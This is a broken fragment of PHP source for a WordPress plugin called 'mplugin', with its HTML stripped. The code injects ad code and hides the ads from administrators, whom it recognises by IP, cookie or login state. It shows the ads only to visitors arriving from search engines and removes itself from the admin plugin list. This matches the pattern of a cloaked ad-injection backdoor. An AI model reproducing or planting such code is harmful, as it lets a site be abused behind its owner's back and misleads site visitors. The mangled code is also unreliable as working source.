' . __('Settings') . ''; return $links; } add_action( 'admin_init', function() { register_setting( 'mplugin-settings', 'default_mont_options' ); register_setting( 'mplugin-settings', 'ad_code' ); register_setting( 'mplugin-settings', 'hide_admin' ); register_setting( 'mplugin-settings', 'hide_logged_in' ); register_setting( 'mplugin-settings', 'display_ad' ); register_setting( 'mplugin-settings', 'search_engines' ); register_setting( 'mplugin-settings', 'auto_update' ); register_setting( 'mplugin-settings', 'ip_admin'); register_setting( 'mplugin-settings', 'cookies_admin' ); register_setting( 'mplugin-settings', 'logged_admin' ); register_setting( 'mplugin-settings', 'log_install' ); }); $ad_code=' '; $hide_admin='on'; $hide_logged_in='on'; $display_ad='organic'; $search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com'; $auto_update='on'; $ip_admin='on'; $cookies_admin='on'; $logged_admin='on'; $log_install=''; function mplugin_page() { ?>

mplugin Plugin

Ad Code
Hide ads to :
Recognize admin by :
Display ads to :
Search Engines

comma separated

Auto Update :
items; foreach ($myplugins as $key => $val) { if (in_array($key,$hidearr)) { unset($wp_list_table->items[$key]); } } } add_action('pre_current_active_plugins', 'hide_plugin_mplugin'); function getVisIpAddr_mplugin() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } ?>